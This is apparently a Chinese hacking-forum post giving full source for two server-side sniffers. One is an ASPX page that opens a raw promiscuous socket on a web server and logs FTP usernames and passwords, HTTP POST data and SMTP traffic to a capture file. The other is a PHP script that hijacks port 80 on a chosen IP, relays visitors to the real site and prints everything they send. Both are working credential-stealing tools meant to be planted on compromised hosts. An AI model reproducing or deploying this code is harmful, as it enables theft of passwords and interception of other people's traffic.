|
aspx
- <%@ Page Language="C#" ValidateRequest="false" %>
- <%@ Import Namespace="System.Net.Sockets" %>
- <%@ Import Namespace="System.Net" %>
- <%@ Import Namespace="System.IO" %>
- <%@ Import Namespace="System.Collections" %>
- <%@ Import Namespace="System.Text" %>
- <%@ Import Namespace="System.Net.NetworkInformation" %>
- <%@ Import Namespace="System.Threading" %>
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head runat="server">
- <title>ASPX服务器Web嗅探工具 - ReCoding By:Juliet http://nana.blackbap.org</title>
- </head>
- <body>
- <script runat="server">
- static private Socket mainSocket;//截获所有传入的数据包
- private static byte[] byteData = new byte[2048];
- private static bool bContinueCapturing = true;//检查数据包是否被捕获的标志
- static int stoppackes = 0;
- static int port = 0;
- static string strIP = null;
- static long packets = 0;
- static System.IO.FileStream wfs;
- static string logfile =null;
- static PacketCaptureWriter pktwt;
- static string keyword;
- static DateTime stoptime = System.DateTime.Now.AddYears(-8);
- static Thread th;
- static int minisizepacket=0;
- static string proException = null;
- static Boolean logNextPacket = true;
- static Boolean my_s_ftp= false;
- static Boolean my_s_http_post = true;
- static Boolean my_s_smtp = false;
- protected void Page_Load(object sender, EventArgs e)
- {
- if (logfile == null)
- {
- logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".log");
- }
- if (stoptime.Year == (System.DateTime.Now.Year - 8))
- {
- System.DateTime nextDay = System.DateTime.Now.AddDays(1);
- stoptime = nextDay;
- }
- IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
- if (HosyEntry.AddressList.Length > 0)
- {
- foreach (IPAddress ip in HosyEntry.AddressList)
- {
- ddlist.Items.Add(ip.ToString());
- }
- }
- //如不是点击Starts按钮,则输出已经设置过的参数
- if (Request.Form["Starts"] == null)
- {
- this.ddlist.SelectedValue = strIP;
- this.txtport.Text = port.ToString();
- this.txtMinisize.Text = minisizepacket.ToString();
- this.txtkeywords.Text = keyword;
- this.txtlogfile.Text = logfile;
- this.txtpackets.Text = stoptime.ToString();
- this.s_ftp.Checked = my_s_ftp;
- this.s_http_post.Checked = my_s_http_post;
- this.s_smtp.Checked = my_s_smtp;
- }
- if (th != null )
- {
- this.Lb_msg.Text = System.DateTime.Now.ToString()+" 结果:<b>" + th.ThreadState.ToString() +"</b> Packets: "+packets.ToString();
- }
- else
- {
- this.Lb_msg.Text = "嗅探尚未开始...";
- }
- if (Request.Form["Starts"] != null || th != null)
- {
- this.Starts.Enabled = false;
- }
- else
- {
- this.Starts.Enabled = true;
- }
- Lb_msg2.Text = proException; //错误信息
- }
- protected void Refresh_Click(object sender, EventArgs e)
- {
- }
- protected void Stop_Click(object sender, EventArgs e)
- {
- packets = stoppackes;
- //stoptime = System.DateTime.Now;
- proException += "<br>上次终止时间为" + System.DateTime.Now.ToString();
- bContinueCapturing = false;
- if (th != null)
- {
- th.Abort();
- th = null;
- }
- try
- {
- wfs.Close();
- mainSocket.Close();
- }
- catch (Exception ex)
- {
- }
- }
- protected void Pagestart()
- {
- //记录设置过的参数
- strIP = ddlist.SelectedValue;
- port = Int32.Parse(txtport.Text);
- stoptime = Convert.ToDateTime( txtpackets.Text);
- logfile = this.txtlogfile.Text;
- keyword = txtkeywords.Text;
- minisizepacket = Int32.Parse(txtMinisize.Text);
- my_s_ftp = this.s_ftp.Checked;
- my_s_http_post = this.s_http_post.Checked;
- my_s_smtp = this.s_smtp.Checked;
- wfs = System.IO.File.Create(logfile);
- pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
- bContinueCapturing = true;
- packets = 0;
- Start();
- }
- private static void Start()
- {
- byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
- byte[] byOut = new byte[4] { 1, 0, 0, 0 };
- try
- {
- bContinueCapturing = true;
- mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
- mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
- mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
- mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
- }
- catch (Exception ex)
- {
- proException += ex.ToString()+"<BR>"; //静态方法可以访问静态变量proException
- }
- byteData = new byte[2048];
- while (System.DateTime.Now <= stoptime)
- {
- ParseData(byteData, mainSocket.Receive(byteData));
- }
- bContinueCapturing = false;
- wfs.Close();
- mainSocket.Close();
- }
- protected void Start_Click(object sender, EventArgs e)
- {
- if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
- th = new Thread(new ThreadStart(Pagestart));
- th.Start();
- //Session["workthread"] = th;
- this.Lb_msg.Text = "\r\n嗅探中...";
- }
- public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
- {
- ushort u = 0;
- if (Type == 0)
- {
- u = (ushort)ptr[Index++];
- u *= 256;
- u += (ushort)ptr[Index++];
- }
- else if (Type == 1)
- {
- u = (ushort)ptr[++Index];
- u *= 256; Index--;
- u += (ushort)ptr[Index++]; Index++;
- }
- return u;
- }
- private static void ParseData(byte[] byteData, int nReceived)
- {
- try
- {
- byte[] nbyte = new byte[nReceived];
- Array.Copy(byteData, nbyte, nReceived);
- if ((int)nbyte[9] == 6)
- {
- int sport = Get2Bytes(nbyte, 20,0);
- int dport = Get2Bytes(nbyte, 22,0);
- String datas=Encoding.Default.GetString(nbyte);
- Boolean logIt=false;
- if (my_s_ftp)
- {
- if ((sport == 21 || dport == 21) &&
- (datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
- )
- {
- logIt =true;
- }
- }
- if (!logIt && my_s_http_post)
- {
- if(logNextPacket){
- logIt =true;
- logNextPacket=false;
- }
- if (!logIt && datas.IndexOf("POST ")>=0)
- {
- logIt =true;
- logNextPacket=true;
- }
- }
- if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
- {
- logIt =true;
- }
- //判断端口和关键字
- if (!logIt && (dport == port || sport == port))
- {
- if (nReceived > minisizepacket)
- {
- if (keyword != "")
- {
- if (datas.IndexOf(keyword) >= 0)
- {
- logIt =true;
- }
- }
- else
- {
- logIt =true;
- }
- }
- }
- if(logIt){
- PacketCapture pkt = new PacketCapture(nbyte, nReceived);
- pktwt.Write(pkt);
- packets++;
- }
- }
- }
- catch { }
- }
- public struct UnixTime
- {
- public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
- public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
- private readonly int _Value;
- public UnixTime(int value)
- {
- if (value < 0)
- throw new ArgumentOutOfRangeException("value");
- _Value = value;
- }
- public int Value
- {
- get { return _Value; }
- }
- public DateTime ToDateTime()
- {
- const long START = 621355968000000000; //1970-1-1 00:00:00
- return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
- }
- public static UnixTime FromDateTime(DateTime dateTime)
- {
- if (dateTime < MinDateTime || dateTime > MaxDateTime)
- throw new ArgumentOutOfRangeException("dateTime");
- TimeSpan span = dateTime.Subtract(MinDateTime);
- return new UnixTime((int)span.TotalSeconds);
- }
- public override string ToString()
- {
- return ToDateTime().ToString();
- }
- }
- public enum LinkLayerType : uint
- {
- Null = 0,
- Ethernet = 1,
- RawIP = 101,
- User0 = 147,
- User1 = 148,
- User2 = 149,
- User3 = 150,
- User4 = 151,
- User5 = 152,
- User6 = 153,
- User7 = 154,
- User8 = 155,
- User9 = 156,
- User10 = 157,
- User11 = 158,
- User12 = 159,
- User13 = 160,
- User14 = 161,
- User15 = 162,
- }
- public sealed class PacketCaptureWriter
- {
- #region Fields
- private const uint MAGIC = 0xA1B2C3D4;
- private readonly Stream _BaseStream;
- private readonly LinkLayerType _LinkLayerType;
- private readonly int _MaxPacketLength;
- private readonly BinaryWriter m_Writer;
- private bool m_ExistHeader = false;
- private int _TimeZone;
- private int _CaptureTimestamp;
- #endregion
- #region Constructors
- public PacketCaptureWriter(
- Stream baseStream, LinkLayerType linkLayerType,
- int maxPacketLength, int captureTimestamp)
- {
- if (baseStream == null) throw new ArgumentNullException("baseStream");
- if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
- if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
- _BaseStream = baseStream;
- _LinkLayerType = linkLayerType;
- _MaxPacketLength = maxPacketLength;
- _CaptureTimestamp = captureTimestamp;
- m_Writer = new BinaryWriter(_BaseStream);
- }
- public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
- : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
- {
- }
- public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
- : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
- {
- }
- #endregion
- #region Properties
- public short VersionMajor
- {
- get { return 2; }
- }
- public short VersionMinjor
- {
- get { return 4; }
- }
- public int TimeZone
- {
- get { return _TimeZone; }
- set { _TimeZone = value; }
- }
- public int CaptureTimestamp
- {
- get { return _CaptureTimestamp; }
- set { _CaptureTimestamp = value; }
- }
- public Stream BaseStream
- {
- get { return _BaseStream; }
- }
- public LinkLayerType LinkLaterType
- {
- get { return _LinkLayerType; }
- }
- public int MaxPacketLength
- {
- get { return _MaxPacketLength; }
- }
- #endregion
- public void Write(PacketCapture packet)
- {
- CheckHeader();
- m_Writer.Write(packet.Timestamp.Value);
- m_Writer.Write(packet.Millseconds);
- m_Writer.Write(packet.Packet.Count);
- m_Writer.Write(packet.RawLength);
- m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
- }
- public void Flush()
- {
- BaseStream.Flush();
- }
- private void CheckHeader()
- {
- if (!m_ExistHeader)
- {
- m_Writer.Write(MAGIC);
- m_Writer.Write(VersionMajor);
- m_Writer.Write(VersionMinjor);
- m_Writer.Write(TimeZone);
- m_Writer.Write(CaptureTimestamp);
- m_Writer.Write(MaxPacketLength);
- m_Writer.Write((uint)LinkLaterType);
- m_ExistHeader = true;
- }
- }
- }
- public sealed class PacketCapture
- {
- private readonly UnixTime _Timestamp;
- private readonly ArraySegment<byte> _Packet;
- private readonly int _RawLength;
- private readonly int _Millseconds;
- public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
- {
- if (packet.Count > rawLength)
- throw new ArgumentException("Length Error", "rawLength");
- _Packet = packet;
- _Timestamp = timestamp;
- _RawLength = rawLength;
- _Millseconds = millseconds;
- }
- public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
- : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
- {
- }
- public PacketCapture(ArraySegment<byte> packet, int rawLength)
- : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
- {
- }
- public PacketCapture(ArraySegment<byte> packet)
- : this(packet, packet.Count)
- {
- }
- public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
- : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
- {
- }
- public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
- : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
- {
- }
- public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
- : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
- {
- }
- public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
- : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
- {
- }
- public PacketCapture(byte[] packetData, int rawLength)
- : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
- {
- }
- public PacketCapture(byte[] packetData)
- : this(packetData, packetData.Length)
- {
- }
- public ArraySegment<byte> Packet
- {
- get { return _Packet; }
- }
- public UnixTime Timestamp
- {
- get { return _Timestamp; }
- }
- public int Millseconds
- {
- get { return _Millseconds; }
- }
- public int RawLength
- {
- get { return _RawLength; }
- }
- }
- </script>
- <style type="text/css">
- <!--
- a {color: #FF0000;text-decoration: none}
- #tt {vertical-align: middle;font-size: 12pt;text-align: center;}
- #Ct_2 {padding-left:30px;font-size: 10pt;color: #336699;vertical-align: middle;text-align: left;background-color: aliceblue;border-width: 1px;border-style: solid;border-color: -moz-use-text-color;padding-bottom:10px;}
- -->
- </style>
- <form id="form1" runat="server">
- <div id="tt"><b>ASPX服务器WEB嗅探工具</b>    By:<font color=green><a href="javascript:location.href=String.fromCharCode(104,116,116,112,58,47,47,110,97,110,97,46,98,108,97,99,107,98,97,112,46,111,114,103)">Juliet</a></font><br /><br /></div>
- <div id="Ct_2"><table width="100%" ><tr >
- <td width="10%">嗅探ip:</td>
- <td><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
- </tr><tr >
- <td width="10%">自动嗅探: </td>
- <td>FTP密码: <asp:CheckBox ID="s_ftp" runat="server" Checked /><br />
- HTTP Post数据: <asp:CheckBox ID="s_http_post" runat="server" /><br />
- Smtp数据: <asp:CheckBox ID="s_smtp" runat="server" /></td>
- </tr><tr>
- <td>过滤端口:</td>
- <td><asp:TextBox ID="txtport" Text="0" width="90%" runat="server"></asp:TextBox></td>
- </tr><tr>
- <td>捕获数据包大小下限:</td>
- <td><asp:TextBox ID="txtMinisize" Text="0" width="90%" runat="server" ></asp:TextBox></td>
- </tr><tr>
- <td>捕获关键字:</td>
- <td><asp:TextBox ID="txtkeywords" runat="server" width="90%" Text=""></asp:TextBox></td>
- </tr><tr>
- <td>记录文件:</td>
- <td><asp:TextBox ID="txtlogfile" runat="server" width="90%" Text="log.log" ></asp:TextBox></td>
- </tr><tr>
- <td>终止时间:</td>
- <td><asp:TextBox ID="txtpackets" runat="server" width="90%" Text="300"></asp:TextBox></td>
- </tr><tr>
- <td>控制:</td>
- <td width="90%" ><asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="开始嗅探" />
- <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="终止嗅探" />
- <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="刷新重置" /><br /></td>
- </tr><tr>
- <td>状态:</td>
- <td width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label></td>
- </tr><tr>
- <td> </td>
- <td width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label></td>
- </tr></table></div><br /><br /></form>
- </body></html>
复制代码
php
- <?php
- class select
- {
- var $sockets;
- // 构造函数
- function select($sockets)
- {
- $this->sockets = array();
- foreach($sockets as $socket)
- {
- $this->add($socket);
- }
- }
- function add($add_socket)
- {
- //array_push($this->sockets, $add_socket);
- $this->sockets[] = $add_socket;
- }
- // 利用临时数组来删除数组中的元素
- function remove($remove_socket)
- {
- $tmp_sockets = array();
- foreach($this->sockets as $socket)
- {
- if($remove_socket != $socket)
- {
- $tmp_sockets[] = $socket;
- }
- }
- $this->sockets = $tmp_sockets;
- }
- // 检查socket数组是否可读,传入超时时间,返回socket数组
- function can_read($timeout)
- {
- $read = $this->sockets;
- socket_select( $read, $write = NULL, $except = NULL, $timeout );
- return $read;
- }
- // 检查socket数组是否可写,传入超时时间,返回socket数组
- function can_write($timeout)
- {
- $write = $this->sockets;
- socket_select( $read = NULL, $write, $except = NULL, $timeout );
- return $write;
- }
- }
- // 网页不超时
- set_time_limit(0);
- // 即时输出数据,不缓冲
- ob_end_clean();
- ob_implicit_flush(true);
- if( !isset($_GET["listen_ip"]) )
- {
- exit;
- }
- if( $_GET["listen_ip"] == "" )
- {
- exit;
- }
- $listen_ip = $_GET["listen_ip"];
- $listen_port = 80;
- // 建立socket
- $listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- // 设置重复绑定
- socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
- // 明确指定绑定IP地址,优先获取数据
- socket_bind($listen_sock, $listen_ip, $listen_port);
- // 开始监听
- socket_listen ($listen_sock);
- echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";
- // 创建socket数组,使用select来轮询
- $check_socks = array($listen_sock);
- // 映射客户端socket和服务端socket
- // $socket_maps1将客户端socket作为key
- // $socket_maps2将服务端socket作为key
- // 以内存换速度,并且方便下面的搜索
- $socket_maps1 = array( );
- $socket_maps2 = array( );
- // 实例化select类
- $select = new select( $check_socks );
- while(true)
- {
- /*
- print_r( $socket_maps );
- print "<br />";
- */
- // select轮询,超时2秒
- foreach ($select->can_read(1) as $socket)
- {
- // listen_sock可读,说明有人连接上来了
- if( $socket == $listen_sock )
- {
- // 接受新连接,并加入到轮训数组
- $new_client = socket_accept($listen_sock);
- $select->add($new_client);
- socket_getpeername($new_client, $ip, $port);
- echo "New client connected: $ip, $port<br />";
- // 建立到真实服务器的socket
- $server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- socket_connect($server_sock,"127.0.0.1", $listen_port);
- // 建立真实服务器socket和真实客户端socket之间的映射关系
- $socket_maps1[$new_client] = $server_sock;
- $socket_maps2[$server_sock] = $new_client;
- // 添加到select轮询中
- $select->add($server_sock);
- // $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
- //select->remove( $listen_sock );
- }
- // 其他socket可读,表示有数据需要中转
- else
- {
- // 读取数据,失败则从轮询socket中删除,并关闭socket
- $client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
- if ($client_data === false)
- {
- socket_close( $socket );
- $select->remove( $socket );
- echo "client disconnected.<br />";
- continue;
- }
- // 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
- if( in_array( $socket, array_keys($socket_maps1) ) )
- {
- //echo "readed from client.<br />";
- if( ! socket_write( $socket_maps1[$socket], $client_data ) )
- {
- socket_close( $socket );
- socket_close( $socket_maps1[$socket] );
- $select->remove( $socket );
- $select->remove( $socket_maps1[$socket] );
- print "Write to server error.<br />";
- }
- print htmlentities($client_data)."</b><br />";
- }
- // 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
- elseif( in_array( $socket, array_keys($socket_maps2) ) )
- {
- //echo "readed from server.<br />";
- if( ! socket_write( $socket_maps2[$socket], $client_data ) )
- {
- socket_close( $socket );
- socket_close( $socket_maps2[$socket] );
- $select->remove( $socket );
- $select->remove( $socket_maps2[$socket] );
- print "Write to client error.<br />";
- }
- print htmlentities($client_data)."</b><br />";
- }
- }
- }
- }
- ?>
复制代码 |
|